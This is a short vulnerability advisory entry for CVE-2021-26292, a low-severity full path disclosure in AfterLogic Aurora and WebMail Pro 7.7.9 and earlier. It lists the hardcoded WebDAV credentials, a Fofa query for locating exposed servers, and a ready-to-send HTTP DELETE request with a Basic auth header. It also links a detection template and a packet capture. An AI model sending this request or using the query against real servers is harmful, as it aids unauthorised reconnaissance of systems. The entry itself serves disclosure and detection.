| Title | AfterLogic Aurora and WebMail Pro < 7.7.9 - Full Path Disclosure |
|---|---|
| Author | johnk3r |
| Severity | Low |
| Impact | Attackers using hardcoded credentials can obtain the web root path, potentially aiding in further attacks. |
| Remediation | Upgrade to AfterLogic Aurora or WebMail Pro version 7.7.10 or later. |
| CVE ID | CVE-2021-26292 |
| Fofa Query | X-Server: AfterlogicDAVServerx-server: afterlogicdavserver |
| Tags | cve2021 cve afterlogic path disclosure AfterLogic vuln |
AfterLogic Aurora and WebMail Pro products with 7.7.9 and all lower versions are affected by this vulnerability, simply sending an HTTP DELETE request to WebDAV EndPoint with built-in “caldav_public_user@localhost” and it’s the predefined password “caldav_public_user” allows the attacker to obtain web root path.
DELETE /dav/server.php/files/personal/GIVE_ME_ERROR_TO_GET_DOC_ROOT_2021 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:140.) Gecko/20100101 Firefox/140.
Connection: close
Authorization: Basic Y2FsZGF2X3B1YmxpY191c2VyQGxvY2FsaG9zdDpjYWxkYXZfcHVibGljX3VzZXI
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-26292.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-26292.pcap
N/AN/A